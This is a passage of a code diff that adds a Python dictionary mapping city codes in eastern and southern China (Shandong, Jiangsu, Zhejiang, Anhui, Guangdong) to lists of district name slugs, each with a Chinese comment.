北城新区 + 'lykaifaqu', # 开发区 + 'lygaoxinqu', # 高新区 + ], + # 淄博 山东 华东 + 'zb': [ + 'zhangdian', # 张店 + 'linzi', # 临淄 + 'zichuan', # 淄川 + 'zhoucun', # 周村 + 'boshan', # 博山 + 'kaifaquyu', # 开发区 + 'yiyuanxian', # 沂源 + 'huantaixian', # 桓台 + 'gaoqingxian', # 高青 + 'zibo', # 其他 + ], + # 济宁 山东 华东 + 'jining': [ + 'jnshizhongqu', # 市中 + 'rencheng', # 任城 + 'qufu', # 曲阜 + 'jinxiang', # 金乡 + 'zoucheng', # 邹城 + 'yanzhou', # 兖州 + 'liangshanx', # 梁山 + 'wenshang', # 汶上 + 'sishui', # 泗水 + 'jiaxiang', # 嘉祥 + 'weishan', # 微山 + 'yutai', # 鱼台 + 'jiningbhxq', # 北湖新区 + 'jininggxq', # 高新区 + 'jiningshi', # 济宁周边 + ], + # 泰安 山东 华东 + 'ta': [ + 'taishanqu', # 泰山区 + 'daiyue', # 岱岳区 + 'xintai', # 新泰 + 'feicheng', # 肥城 + 'ningyang', # 宁阳 + 'dongping', # 东平 + 'taian', # 泰安周边 + ], + # 聊城 山东 华东 + 'lc': [ + 'dongchangfu', # 东昌府 + 'chiping', # 茌平 + 'linqing', # 临清 + 'guanxian', # 冠县 + 'gaotang', # 高唐 + 'yanggu', # 阳谷 + 'donga', # 东阿 + 'shenxian', # 莘县 + 'lckfq', # 开发区 + 'liaocheng', # 其他 + ], + # 威海 山东 华东 + 'weihai': [ + 'huancui', # 环翠 + 'rushan', # 乳山 + 'rongcheng', # 荣成 + 'wendeng', # 文登 + 'gaoqu', # 高区 + 'jingqu', # 经区 + 'weihaishi', # 其他 + ], + # 枣庄 山东 华东 + 'zaozhuang': [ + 'shizhongqu', # 市中区 + 'xuecheng', # 薛城 + 'zzyicheng', # 峄城 + 'taierzhuang', # 台儿庄 + 'shanting', # 山亭 + 'tengzhou', # 滕州 + 'zaozhuangshi', # 其他 + ], + # 德州 山东 华东 + 'dz': [ + 'decheng', # 德城 + 'leling', # 乐陵 + 'yuchengshi', # 禹城 + 'ningjin', # 宁津 + 'pingyuan', # 平原 + 'linyixianq', # 临邑 + 'qihe', # 齐河 + 'wucheng', # 武城 + 'xiajin', # 夏津 + 'lingxian', # 陵县 + 'qingyun', # 庆云 + 'dezhou', # 其他 + ], + # 日照 山东 华东 + 'rizhao': [ + 'donggangqu', # 东港 + 'lanshan', # 岚山 + 'juxian', # 莒县 + 'wulian', # 五莲 + 'rizhaoshi', # 其它 + ], + # 东营 山东 华东 + 'dy': [ + 'dongying', # 东营区 + 'hekou', # 河口 + 'guangrao', # 广饶 + 'kenli', # 垦利县 + 'lijin', # 利津 + 'dongyingshi', # 其他 + ], + # 菏泽 山东 华东 + 'heze': [ + 'mudanqu', # 牡丹 + 'juancheng', # 鄄城 + 'shanxian', # 单县 + 'hzyc', # 郓城 + 'caoxian', # 曹县 + 'dingtao', # 定陶 + 'juye', # 巨野 + 'dongming', # 东明 + 'chengwu', # 成武 + 'hzkaifaqu', # 开发区 + 'hezeshi', # 其它 + ], + # 滨州 山东 华东 + 'bz': [ + 'bincheng', # 滨城 + 'juping', # 邹平 + 'zhanhua', # 沾化 + 'boxing', # 博兴 + 'wudi', # 无棣 + 'huiminxian', # 惠民 + 'yangxin', # 阳信 + 'binzhou', # 其他 + ], + # 莱芜 山东 华东 + 'lw': [ + 'laichengqu', # 莱城 + 'gangchengqu', # 钢城 + 'gaoxinquq', # 高新区 + 'xueyelvyou', # 雪野旅游区 + ], + # 章丘 山东 华东 + 'zhangqiu': [ + 'zhangqiushiqu', # 章丘 + 'pujizhen', # 普集镇 + 'xiuhuizhen', # 绣惠镇 + 'xianggongzhuang', # 相公庄镇 + 'shuizhaizhen', # 水寨镇 + 'diaozhen', # 刁镇 + 'gaoguanzhai', # 高官寨镇 + 'guanzhuangxiang', # 官庄乡 + 'xinzhaixiang', # 辛寨乡 + 'zhangqiuqita', # 其他 + ], + # 垦利 山东 华东 + 'kl': [ + 'shengtuo', # 胜坨 + 'haojia', # 郝家 + 'yongankl', # 永安 + 'huanghekou', # 黄河口 + 'dongjixiang', # 董集 + 'kenlijie', # 垦利街 + 'xinglongjie', # 兴隆街 + 'kenlizhoubian', # 垦利周边 + ], + # 诸城 山东 华东 + 'zc': [ + 'mizhouj', # 密州街道 + 'longduj', # 龙都街道 + 'shunwangj', # 舜王街道 + 'taolinx', # 桃林乡 + 'xiangzhouz', # 相州镇 + 'baichihe', # 百尺河镇 + 'changchengz', # 昌城镇 + 'huanghuaz', # 皇华镇 + 'jiayuez', # 贾悦镇 + 'shiqiaozi', # 石桥子镇 + 'chenggezhuang', # 程戈庄镇 + 'zhigou', # 枳沟镇 + 'xinxingz', # 辛兴镇 + ], + # 寿光 山东 华东 + 'shouguang': [ + 'wenjia', # 文家 + 'liulv', # 留吕 + 'taitou', # 台头 + 'shouguangshi', # 其它 + ], + # 苏州 江苏 华东 + 'su': [ + 'canglang', # 沧浪 + 'xiangchengqua', # 相城 + 'pingjiangqu', # 平江 + 'jinchangquyu', # 金阊 + 'gongyeyuan', # 工业园 + 'wuzhongqu', # 吴中 + 'szkunshan', # 昆山 + 'changshushi', # 常熟 + 'zhangjiagangshi', # 张家港 + 'taicangshi', # 太仓 + 'sugaoxinqu', # 高新区 + 'wujiangshi', # 吴江 + 'suzhouqita', # 苏州周边 + ], + # 南京 江苏 华东 + 'nj': [ + 'xuanwuqu', # 玄武 + 'gulouqu', # 鼓楼 + 'jianye', # 建邺 + 'baixia', # 白下 + 'qinhuai', # 秦淮 + 'xiaguan', # 下关 + 'yuhuatai', # 雨花台 + 'pukouqu', # 浦口 + 'qixiaqu', # 栖霞 + 'jiangning', # 江宁 + 'liuhequ', # 六合 + 'gaochunxian', # 高淳 + 'lishuixian', # 溧水 + 'dachangqu', # 大厂 + 'nanjing', # 南京周边 + ], + # 无锡 江苏 华东 + 'wx': [ + 'chongan', # 崇安 + 'nanchangqu', # 南长 + 'beitang', # 北塘 + 'xishanqu', # 锡山 + 'huishanq', # 惠山 + 'binhu', # 滨湖 + 'wxxinqu', # 新区 + 'jiangyin', # 江阴 + 'yixingshi', # 宜兴 + 'wuxi', # 无锡周边 + ], + # 常州 江苏 华东 + 'cz': [ + 'tianning', # 天宁 + 'wujin', # 武进 + 'zhonglou', # 钟楼 + 'qishuyan', # 戚墅堰 + 'xinbei', # 新北 + 'jintan', # 金坛 + 'liyangqu', # 溧阳 + 'changzhou', # 常州周边 + ], + # 徐州 江苏 华东 + 'xz': [ + 'yunlong', # 云龙 + 'xzgulou', # 鼓楼 + 'jiuli', # 九里 + 'jiawang', # 贾汪 + 'quanshan', # 泉山 + 'xinyiqu', # 新沂 + 'pizhouqu', # 邳州 + 'peixianqu', # 沛县 + 'xztongshan', # 铜山 + 'xzsuining', # 睢宁 + 'xzfengx', # 丰县 + 'jsqkfq', # 金山桥开发区 + 'xchengqu', # 新城区 + 'xuzhou', # 徐州周边 + ], + # 南通 江苏 华东 + 'nt': [ + 'chongchuan', # 崇川 + 'tongzhou', # 通州 + 'gangzha', # 港闸 + 'rugaoqu', # 如皋 + 'qidongqu', # 启东 + 'haimenqu', # 海门 + 'rudongqu', # 如东 + 'haianqu', # 海安 + 'kfaqu', # 开发区 + 'nantong', # 南通周边 + ], + # 扬州 江苏 华东 + 'yz': [ + 'guangling', # 广陵 + 'weiyangqu', # 维扬 + 'hanjiang', # 邗江 + 'jiangdou', # 江都 + 'yizheng', # 仪征 + 'gaoyou', # 高邮 + 'baoyingx', # 宝应县 + 'yangzhouqita', # 扬州周边 + ], + # 盐城 江苏 华东 + 'yancheng': [ + 'tinghu', # 亭湖 + 'yandou', # 盐都 + 'dafengshi', # 大丰 + 'funingxian', # 阜宁 + 'sheyang', # 射阳 + 'binhai', # 滨海 + 'xiangshui', # 响水 + 'jianhuqu', # 建湖 + 'dongtaiqu', # 东台 + 'yanchengshi', # 其他 + ], + # 淮安 江苏 华东 + 'ha': [ + 'haqinghe', # 清河 + 'qingpuqu', # 清浦 + 'huaiyin', # 淮阴 + 'chuzhouqu', # 淮安区 + 'lianshui', # 涟水 + 'hongze', # 洪泽 + 'jinhu', # 金湖 + 'xuyi', # 盱眙 + 'huaian', # 其他 + 'hajjkfq', # 经济开发区 + ], + # 连云港 江苏 华东 + 'lyg': [ + 'xinpu', # 新浦 + 'lianyun', # 连云 + 'haizhou', # 海州 + 'ganyu', # 赣榆 + 'guanyun', # 灌云 + 'guannan', # 灌南 + 'lianyungang', # 其它 + 'donghaiqu', # 东海 + ], + # 泰州 江苏 华东 + 'taizhou': [ + 'hailing', # 海陵 + 'gaogang', # 高港 + 'jiangyan', # 姜堰 + 'xinghuaqu', # 兴化 + 'jingjiangqu', # 靖江 + 'taixinqu', # 泰兴 + 'taizhouqita', # 其他 + ], + # 宿迁 江苏 华东 + 'suqian': [ + 'sucheng', # 宿豫/宿城 + 'sihong', # 泗洪 + 'siyang', # 泗阳 + 'sqshuyang', # 沭阳 + ], + # 镇江 江苏 华东 + 'zj': [ + 'jingkou', # 京口 + 'runzhou', # 润州 + 'dantu', # 丹徒 + 'jurong', # 句容 + 'yangzhongsq', # 扬中 + 'danyangqu', # 丹阳 + 'zhenjiangxinqu', # 镇江新区 + 'zhenjiangqita', # 其他 + ], + # 沭阳 江苏 华东 + 'shuyang': [ + 'lysczhen', # 沭城镇 + ], + # 大丰 江苏 华东 + 'dafeng': [ + 'caoyan', # 草堰 + 'baiju', # 白驹 + 'liuzhuang', # 刘庄 + 'xituan', # 西团 + 'xiaohai', # 小海 + 'daqiao', # 大桥 + 'nanyangz', # 南阳 + 'wanying', # 万盈 + 'yuhuaz', # 裕华 + 'sanlong', # 三龙 + 'fangqiang', # 方强 + 'xinfengz', # 新丰 + 'dfdazhong', # 大中 + 'dafenggang', # 大丰港 + 'kaifaquz', # 开发区 + 'dafengzb', # 大丰周边 + ], + # 如皋 江苏 华东 + 'rugao': [ + 'rugaoshiqu', # 如皋市区 + 'rugaoqita', # 其它 + ], + # 启东 江苏 华东 + 'qidong': [ + 'qidongshiqu', # 启东市区 + 'qidongqita', # 其它 + ], + # 溧阳 江苏 华东 + 'liyang': [ + 'liyangshiqu', # 溧阳市区 + 'liyangqita', # 其它 + ], + # 海门 江苏 华东 + 'haimen': [ + 'haimenshiqu', # 海门市区 + 'haimenqita', # 其它 + ], + # 东海 江苏 华东 + 'donghai': [ + 'donghaishiqu', # 东海市区 + 'donghaiqita', # 其它 + ], + # 扬中 江苏 华东 + 'yangzhong': [ + 'yangzhongshiqu', # 扬中市区 + 'yangzhongqita', # 其它 + ], + # 兴化 江苏 华东 + 'xinghuashi': [ + 'xinghuashiqu', # 兴化市区 + 'xinghuaqita', # 其它 + ], + # 新沂 江苏 华东 + 'xinyishi': [ + 'xinyishiqu', # 新沂市区 + 'xinyiqita', # 其它 + ], + # 泰兴 江苏 华东 + 'taixing': [ + 'taixinshiqu', # 泰兴市区 + 'taixinqita', # 其它 + ], + # 如东 江苏 华东 + 'rudong': [ + 'rudongshiqu', # 如东市区 + 'rudongqita', # 其它 + ], + # 邳州 江苏 华东 + 'pizhou': [ + 'pizhoushiqu', # 邳州市区 + 'pizhouqita', # 其它 + ], + # 沛县 江苏 华东 + 'xzpeixian': [ + 'peixianshiqu', # 沛县市区 + 'peixianqita', # 其它 + ], + # 靖江 江苏 华东 + 'jingjiang': [ + 'jingjiangshiqu', # 靖江市区 + 'jingjiangqita', # 其它 + ], + # 建湖 江苏 华东 + 'jianhu': [ + 'jianhushiqu', # 建湖市区 + 'jianghuqita', # 其它 + ], + # 海安 江苏 华东 + 'haian': [ + 'haianshiqu', # 海安市区 + 'haianqita', # 其它 + ], + # 东台 江苏 华东 + 'dongtai': [ + 'dongtaishiqu', # 东台市区 + 'dongtaiqita', # 其它 + ], + # 丹阳 江苏 华东 + 'danyang': [ + 'danyangshiqu', # 丹阳市区 + 'danyangqita', # 其它 + ], + # 杭州 浙江 华东 + 'hz': [ + 'xihuqu', # 西湖 + 'gongshu', # 拱墅 + 'jianggan', # 江干 + 'xiacheng', # 下城 + 'hzshangcheng', # 上城 + 'yuhang', # 余杭 + 'xiaoshan', # 萧山 + 'binjiang', # 滨江 + 'jiandeshi', # 建德 + 'fuyangshi', # 富阳 + 'linanshi', # 临安 + 'tonglu', # 桐庐 + 'chunan', # 淳安 + 'hangzhou', # 杭州周边 + ], + # 宁波 浙江 华东 + 'nb': [ + 'haishu', # 海曙 + 'jiangdong', # 江东 + 'jiangbeiqu', # 江北 + 'yinzhou', # 鄞州 + 'beilun', # 北仑 + 'zhenhai', # 镇海 + 'nbgxq', # 高新区 + 'yuyaoqu', # 余姚 + 'cixiqu', # 慈溪 + 'xiangshanqunew', # 象山 + 'fenghua', # 奉化 + 'ninghaixian', # 宁海 + 'ningbo', # 宁波周边 + ], + # 温州 浙江 华东 + 'wz': [ + 'lucheng', # 鹿城 + 'longwan', # 龙湾 + 'ouhai', # 瓯海 + 'yongjiaxian', # 永嘉 + 'dongtouxian', # 洞头 + 'pingyangxian', # 平阳 + 'cangnanxian', # 苍南 + 'taishunxian', # 泰顺 + 'wenchengxian', # 文成 + 'wenzhou', # 温州周边 + ], + # 金华 浙江 华东 + 'jh': [ + 'wuchengqu', # 金华市区 + 'yiwushi', # 义乌 + 'yongkang', # 永康 + 'dongyang', # 东阳 + 'lanxi', # 兰溪 + 'pujiang', # 浦江县 + 'panan', # 磐安 + 'wuyix', # 武义县 + 'jinhua', # 其他 + ], + # 嘉兴 浙江 华东 + 'jx': [ + 'nanhu', # 南湖 + 'xiuzhou', # 秀洲 + 'jingjikfq', # 经济开发区 + 'pinghushi', # 平湖 + 'haiyan', # 海盐 + 'jiaxsq', # 嘉兴市区 + 'tongxiangqu', # 桐乡 + 'hainingqu', # 海宁 + 'jiashanqu', # 嘉善 + 'jiaxing', # 嘉兴周边 + ], + # 台州 浙江 华东 + 'tz': [ + 'jiaojiang', # 椒江 + 'luqiao', # 路桥 + 'huangyan', # 黄岩 + 'linhai', # 临海 + 'yuhuan', # 玉环 + 'xianju', # 仙居 + 'tiantai', # 天台 + 'sanmen', # 三门 + 'wenlingqu', # 温岭 + 'taizhoushi', # 其他 + ], + # 绍兴 浙江 华东 + 'sx': [ + 'yuecheng', # 越城 + 'sxjh', # 镜湖 + 'paojiang', # 袍江 + 'bhai', # 滨海 + 'keqiao', # 柯桥 + 'shangyu', # 上虞 + 'shengzhou', # 嵊州 + 'xinchang', # 新昌 + 'chujiqu', # 诸暨 + 'shaoxing', # 其他 + ], + # 湖州 浙江 华东 + 'huzhou': [ + 'wuxing', # 吴兴 + 'nanxun', # 南浔 + 'anji', # 安吉 + 'changxingqu', # 长兴 + 'deqingqu', # 德清 + 'huzhoushi', # 其他 + ], + # 丽水 浙江 华东 + 'lishui': [ + 'lianduqu', # 莲都 + 'longquanqu', # 龙泉 + 'qingtianqu', # 青田 + 'jinyunqu', # 缙云 + 'suiyangqu', # 遂昌 + 'songyangqu', # 松阳 + 'jingningqu', # 景宁 + 'yunhequ', # 云和 + 'qingyuanquyu', # 庆元 + ], + # 衢州 浙江 华东 + 'quzhou': [ + 'kechengqu', # 柯城 + 'qujiangqu', # 衢江 + 'juhuaxian', # 巨化 + 'jiangshanshi', # 江山 + 'changshanxian', # 常山 + 'kaihuaxian', # 开化 + 'longyouxian', # 龙游 + ], + # 舟山 浙江 华东 + 'zhoushan': [ + 'dinghaiqu', # 定海 + 'putuoqu', # 普陀 + 'daishanxian', # 岱山 + 'shengsixian', # 嵊泗 + ], + # 乐清 浙江 华东 + 'yueqingcity': [ + 'yqlecheng', # 乐成 + 'yqliushi', # 柳市 + 'yqpanshi', # 磐石 + 'yqhuanghua', # 黄华 + 'yqbaishi', # 白石 + 'yqxiangyang', # 象阳 + 'yqwengxiang', # 翁垟 + 'yqhongqiao', # 虹桥 + 'yqpuqi', # 蒲岐 + 'yqnanyue', # 南岳 + 'yqqingjiang', # 清江 + 'yqfurong', # 芙蓉 + 'yqnantang', # 南塘 + 'yqyandang', # 雁荡 + 'yqdajing', # 大荆 + 'yqxianxi', # 仙溪 + 'yqhuwu', # 湖雾 + 'yqshifan', # 石帆 + 'yqdanxi', # 淡溪 + 'yqqiligang', # 七里港 + 'yqbeibaixiang', # 北白象 + 'yqyueqingzhoubian', # 乐清周边 + ], + # 瑞安 浙江 华东 + 'ruiancity': [ + 'raanyang', # 安阳 + 'rajinhu', # 锦湖 + 'rayuhai', # 玉海 + 'rapandai', # 潘岱 + 'radongshan', # 东山 + 'rashangwang', # 上望 + 'ratangxia', # 塘下 + 'ratingtian', # 汀田 + 'raxinsheng', # 莘塍 + 'rafeiyun', # 飞云 + 'raxianjiang', # 仙降 + 'ramayu', # 马屿 + 'racaocun', # 曹村 + 'ralonghu', # 龙湖 + 'rataoshan', # 陶山 + 'rabishan', # 碧山 + 'rahuling', # 湖岭 + 'rapingyangkeng', # 平阳坑 + 'raruianzhoubian', # 瑞安周边 + ], + # 义乌 浙江 华东 + 'yiwu': [ + 'choucheng', # 稠城 + 'ywbeiyuan', # 北苑 + 'choujiang', # 稠江 + 'ywjiangdong', # 江东 + 'houzhai', # 后宅 + 'ywchengxi', # 城西 + 'ersanli', # 廿三里 + 'yiwsq', # 义乌市区 + 'yiwuzhoub', # 义乌周边 + ], + # 余姚 浙江 华东 + 'yuyao': [ + 'yuyaoshiqu', # 余姚市区 + 'yuyaoqita', # 其它 + ], + # 诸暨 浙江 华东 + 'zhuji': [ + 'shujishiqu', # 诸暨市区 + 'zhujiqita', # 其它 + 'diankouzhen', # 店口镇 + 'datangzhenzhuji', # 大唐镇 + 'fengqiaozhen', # 枫桥镇 + 'jietingzhen', # 街亭镇 + 'wuxiezhen', # 五泄镇 + ], + # 象山 浙江 华东 + 'xiangshanxian': [ + 'xiangshanshiqu', # 象山市区 + 'xiangshanqita', # 其它 + ], + # 温岭 浙江 华东 + 'wenling': [ + 'wenlingshiqu', # 温岭市区 + 'wenlingqita', # 其它 + ], + # 桐乡 浙江 华东 + 'tongxiang': [ + 'wuzh', # 乌镇 + 'bowwg', # 博物馆 + 'tongxzb', # 桐乡周边 + 'dongsh', # 东栅 + 'xish', # 西栅 + 'tongxsq', # 桐乡市区 + 'jxpy', # 濮院 + ], + # 慈溪 浙江 华东 + 'cixi': [ + 'cixishiqu', # 慈溪市区 + 'cixiqita', # 其它 + ], + # 长兴 浙江 华东 + 'changxing': [ + 'changxingshiqu', # 长兴市区 + 'chongxingqita', # 其它 + ], + # 嘉善 浙江 华东 + 'jiashanx': [ + 'xitangnew', # 西塘 + 'meihuannew', # 梅花庵 + 'dywqnew', # 大云温泉 + 'dssd', # 丁栅湿地 + 'luoxingjiedao', # 罗星街道 + 'huiminjiedao', # 惠民街道 + 'weitangjiedao', # 魏塘街道 + 'ganyaozhen', # 干窑镇 + 'taozhuangz', # 陶庄镇 + 'tianrenzhen', # 天壬镇 + 'yaozhuangz', # 姚庄镇 + 'dayunzhen', # 大云镇 + ], + # 海宁 浙江 华东 + 'haining': [ + 'hainc', # 海宁潮 + 'yanggc', # 盐官古城 + 'qiantjba', # 钱塘江北岸 + 'xsgy', # 西山公园 + 'hainzb', # 海宁周边 + ], + # 德清 浙江 华东 + 'deqing': [ + 'deqingshiqu', # 德清市区 + 'deqingqita', # 其它 + ], + # 合肥 安徽 华东 + 'hf': [ + 'shushanqu', # 蜀山 + 'luyang', # 庐阳 + 'baohe', # 包河 + 'yaohai', # 瑶海 + 'hfjingkai', # 经开 + 'hfgaoxin', # 高新 + 'hfxinzhan', # 新站 + 'hfbinghu', # 滨湖新区 + 'hfbcxq', # 北城新区 + 'hfzhengwu', # 政务 + 'hefei', # 合肥周边 + ], + # 芜湖 安徽 华东 + 'wuhu': [ + 'jinghu', # 镜湖 + 'jiujiangqu', # 鸠江 + 'yijiang', # 弋江 + 'wuweixian', # 无为 + 'sanshan', # 三山 + 'nanling', # 南陵 + 'wuhuxian', # 芜湖县 + 'fanchang', # 繁昌 + 'wuhuqita', # 其他 + ], + # 蚌埠 安徽 华东 + 'bengbu': [ + 'bangshan', # 蚌山 + 'longzihu', # 龙子湖 + 'yuhui', # 禹会 + 'huaishang', # 淮上 + 'huaiyuan', # 怀远 + 'guzhen', # 固镇 + 'wuhe', # 五河 + 'bengbuqita', # 其他 + ], + # 阜阳 安徽 华东 + 'fy': [ + 'yingzhouqu', # 颍州 + 'yingquanqu', # 颍泉 + 'yingdongqu', # 颍东 + 'jingjiq', # 经济开发区 + 'jieshoushi', # 界首 + 'funanxian', # 阜南 + 'taihex', # 太和 + 'yingshangxian', # 颍上 + 'linquanxian', # 临泉 + ], + # 淮南 安徽 华东 + 'hn': [ + 'tianjiaan', # 田家庵 + 'datongquq', # 大通 + 'xiejiaji', # 谢家集 + 'bagongshan', # 八公山 + 'panjiqu', # 潘集 + 'fengtaixian', # 凤台 + 'maojiqu', # 毛集实验区 + ], + # 安庆 安徽 华东 + 'anqing': [ + 'daguanqu', # 大观 + 'yingjiang', # 迎江 + 'yixiu', # 宜秀 + 'tongchengshi', # 桐城 + 'zongyang', # 枞阳 + 'huaining', # 怀宁 + 'qianshanxian', # 潜山 + 'susong', # 宿松 + 'yuexi', # 岳西 + 'anqingqita', # 其他 + ], + # 宿州 安徽 华东 + 'suzhou': [ + 'yongqiao', # 墉桥 + 'sixian', # 泗县 + 'lingbi', # 灵璧 + 'xiaoxian', # 萧县 + 'dangshan', # 砀山 + 'suzhoushi', # 其他 + ], + # 六安 安徽 华东 + 'la': [ + 'liuanshiqu', # 六安市区 + 'jinanquq', # 金安 + 'yuanquq', # 裕安 + 'shouxian', # 寿县 + 'shuchengxian', # 舒城 + 'huoqiuxian', # 霍邱县 + 'jinzhaixian', # 金寨 + 'huoshanxian', # 霍山 + ], + # 淮北 安徽 华东 + 'huaibei': [ + 'xiangshanqu', # 相山 + 'lieshanqu', # 烈山 + 'dujiqu', # 杜集 + 'suixix', # 濉溪 + 'huaibeizb', # 淮北周边 + ], + # 滁州 安徽 华东 + 'chuzhou': [ + 'langya', # 琅琊 + 'nanqiaoq', # 南谯 + 'laian', # 来安 + 'quanshu', # 全椒 + 'dingyuan', # 定远 + 'fengyangx', # 凤阳 + 'mingguan', # 明光 + 'tianchangqu', # 天长 + 'chuzhouzhoubian', # 滁州周边 + ], + # 马鞍山 安徽 华东 + 'mas': [ + 'huashanqu', # 花山 + 'yushan', # 雨山 + 'jinjiazhuang', # 金家庄 + 'dangtu', # 当涂 + 'hanshanx', # 含山 + 'hexians', # 和县 + 'masbwq', # 博望区 + 'maanshan', # 其它 + ], + # 铜陵 安徽 华东 + 'tongling': [ + 'tongguanshan', # 铜官山 + 'shizishan', # 狮子山 + 'jiaoq', # 郊区 + 'tonglingx', # 铜陵县 + 'tonglingzhoubian', # 铜陵周边 + ], + # 宣城 安徽 华东 + 'xuancheng': [ + 'xuanzhou', # 宣州 + 'langxi', # 郎溪 + 'guangde', # 广德 + 'hzjingxian', # 泾县 + 'jixixian', # 绩溪 + 'jingde', # 旌德 + 'xuanchengshi', # 其它 + 'ningguoqu', # 宁国 + ], + # 亳州 安徽 华东 + 'bozhou': [ + 'lixinxian', # 利辛 + 'mengchengxian', # 蒙城 + 'woyangxian', # 涡阳 + 'qiaochengqu', # 谯城 + ], + # 黄山 安徽 华东 + 'huangshan': [ + 'huangshanq', # 黄山 + 'huizhouq', # 徽州 + 'taipq', # 屯溪 + 'huangshanfjq', # 黄山风景区 + 'qimen', # 祁门 + 'xiuning', # 休宁 + 'yix', # 黟县 + 'shex', # 歙县 + 'huangshanzhoubian', # 黄山周边 + ], + # 池州 安徽 华东 + 'chizhou': [ + 'guichi', # 贵池 + 'dongzhi', # 东至 + 'shitai', # 石台 + 'qingyangx', # 青阳 + 'chizhouzhoubian', # 池州周边 + ], + # 巢湖 安徽 华东 + 'ch': [ + 'juchao', # 居巢 + 'lujiang', # 庐江 + 'chaohuzhoubian', # 巢湖周边 + ], + # 和县 安徽 华东 + 'hexian': [ + 'liyangzhen', # 历阳镇 + 'shengangzhen', # 沈巷镇 + 'baiqiaozhen', # 白桥镇 + 'laoqiaozhen', # 姥桥镇 + 'gongqiaozhen', # 功桥镇 + 'xibuzhen', # 西埠镇 + 'xiangquanzhen', # 香泉镇 + 'wujiangzhen', # 乌江镇 + 'shanhouzhen', # 善厚镇 + 'shiyangzhens', # 石杨镇 + ], + # 霍邱 安徽 华东 + 'hq': [ + 'chengguanz', # 城关 + 'hekouz', # 河口 + 'zhouji', # 周集 + 'yaoli', # 姚李 + 'zongxing', # 众兴 + 'xindianz', # 新店 + 'changjiz', # 长集 + 'madianz', # 马店 + 'huhu', # 户胡 + 'huoqiuzb', # 霍邱周边 + ], + # 桐城 安徽 华东 + 'tongcheng': [ + 'wenchangs', # 文昌 + 'longmian', # 龙眠 + 'kaifaqutc', # 开发区 + 'xingerwang', # 兴尔旺 + 'jinshen', # 金神 + 'fangang', # 范岗 + 'daguantc', # 大关 + 'lvting', # 吕亭 + 'kongcheng', # 孔城 + 'qingcao', # 青草 + 'xindutc', # 新渡 + 'huangjia', # 黄甲 + 'shuanggangtc', # 双港 + 'tangwan', # 唐湾 + 'xizihu', # 嬉子湖 + 'tongchengzb', # 桐城周边 + ], + # 宁国 安徽 华东 + 'ningguo': [ + 'ningguoshiqu', # 宁国市区 + 'ningguoqita', # 其它 + ], + # 天长 安徽 华东 + 'tianchang': [ + 'tianchangshiqu', # 天长市区 + 'tianchangqita', # 其它 + ], + # 深圳 广东 华南 + 'sz': [ + 'luohu', # 罗湖 + 'futian', # 福田 + 'nanshan', # 南山 + 'yantian', # 盐田 + 'baoan', # 宝安 + 'longgang', # 龙岗区 + 'buji', # 布吉 + 'pingshanxinqu', # 坪山新区 + 'guangmingxinqu', # 光明新区 + 'szlhxq', # 龙华新区 + 'dapengxq', # 大鹏新区 + 'shenzhenzhoubian', # 深圳周边 + ], + # 广州 广东 华南 + 'gz': [ + 'tianhe', # 天河 + 'haizhu', # 海珠 + 'yuexiu', # 越秀 + 'hengligz', # 横沥 + 'baiyun', # 白云 + 'liwan', # 荔湾 + 'panyu', # 番禺 + 'huangpugz', # 黄埔 + 'huadugz', # 花都 + 'zengcheng', # 增城 + 'luoganggz', # 萝岗 + 'dongguanqu', # 东莞 + 'foshanqu', # 佛山 + 'conghua', # 从化 + 'nanshagz', # 南沙 + 'jingjikaifaqu', # 经济开发区 + 'guangzhouzhoubian', # 广州周边 + 'conghuazhoubian', # 从化周边 + 'nanshazhoubian', # 南沙周边 + ], + # 东莞 广东 华南 + 'dg': [ + 'guanchengshi', # 莞城 + 'changanqv', # 长安 + 'nancheng', # 南城 + 'dongchengqv', # 东城 + 'humen', # 虎门 + 'wanjiang', # 万江 + 'liaobu', # 寮步 + 'dalang', # 大朗 + 'tangsha', # 塘厦 + 'changpingshi', # 常平 + 'dalingshan', # 大岭山 + 'zhangmutou', # 樟木头 + 'shilongs', # 石龙 + 'songsh', # 松山湖 + 'fenggang', # 凤岗 + 'houjie', # 厚街 + 'huangjiang', # 黄江 + 'gaobus', # 高埗 + 'shijie', # 石碣 + 'hengl', # 横沥 + 'ship', # 石排 + 'chashans', # 茶山 + 'dongguan', # 东莞周边 + ], + # 佛山 广东 华南 + 'fs': [ + 'chancheng', # 禅城 + 'nanhai', # 南海 + 'shundeshiqu', # 顺德 + 'sanshui', # 三水 + 'gaoming', # 高明 + 'foshan', # 佛山周边 + ], + # 中山 广东 华南 + 'zs': [ + 'shiqi', # 石岐 + 'zsdongfeng', # 东凤 + 'zsdongqu', # 东区 + 'zsxiqu', # 西区 + 'nanqu', # 南区 + 'wuguishan', # 五桂山 + 'zsnanlang', # 南朗 + 'zsxiaolan', # 小榄 + 'zsdongsheng', # 东升 + 'zsguzhen', # 古镇 + 'zssanxiang', # 三乡 + 'zstanzhou', # 坦洲 + 'zsgangkou', # 港口 + 'huojukfq', # 火炬开发区 + 'zsdayong', # 大涌 + 'zshuangpu', # 黄圃 + 'zshenglan', # 横栏 + 'zsnantou', # 南头 + 'zsshaxi', # 沙溪 + 'zhongshan', # 中山周边 + ], + # 珠海 广东 华南 + 'zh': [ + 'xiangzhou', # 香洲 + 'doumen', # 斗门 + 'jinwan', # 金湾 + 'zhtanzhou', # 坦洲 + 'zhhq', # 横琴 + 'zhgxq', # 高新区 + 'zhuhai', # 珠海周边 + ], + # 惠州 广东 华南 + 'huizhou': [ + 'huicheng', # 惠城 + 'dayawan', # 大亚湾 + 'zkai', # 仲恺 + 'longmen', # 龙门 + 'huiyang', # 惠阳 + 'huidongqu', # 惠东 + 'boluoqu', # 博罗 + 'huizhoushi', # 惠州周边 + ], + # 江门 广东 华南 + 'jm': [ + 'pengjiang', # 蓬江 + 'xinhui', # 新会 + 'jianghai', # 江海 + 'taishanshi', # 台山 + 'heshan', # 鹤山 + 'kaipingshi', # 开平 + 'enping', # 恩平 + 'nanxin', # 南新 + 'beixin', # 北新 + 'jiangmen', # 江门周边 + ], + # 汕头 广东 华南 + 'st': [ + 'jinping', # 金平 + 'longhu', # 龙湖 + 'chenghai', # 澄海 + 'stchaoyang', # 潮阳 + 'chaonan', # 潮南 + 'haojiang', # 濠江 + 'nanao', # 南澳 + 'shantou', # 其他 + ], + # 湛江 广东 华南 + 'zhanjiang': [ + 'xiashan', # 霞山 + 'chikan', # 赤坎 + 'potou', # 坡头 + 'kaifaq', # 开发区 + 'mazhang', # 麻章 + 'lianjiang', # 廉江 + 'leizhou', # 雷州 + 'suixixian', # 遂溪 + 'xuwenxian', # 徐闻 + 'wuchuanshi', # 吴川 + 'zhanjiangshi', # 其他 + ], + # 肇庆 广东 华南 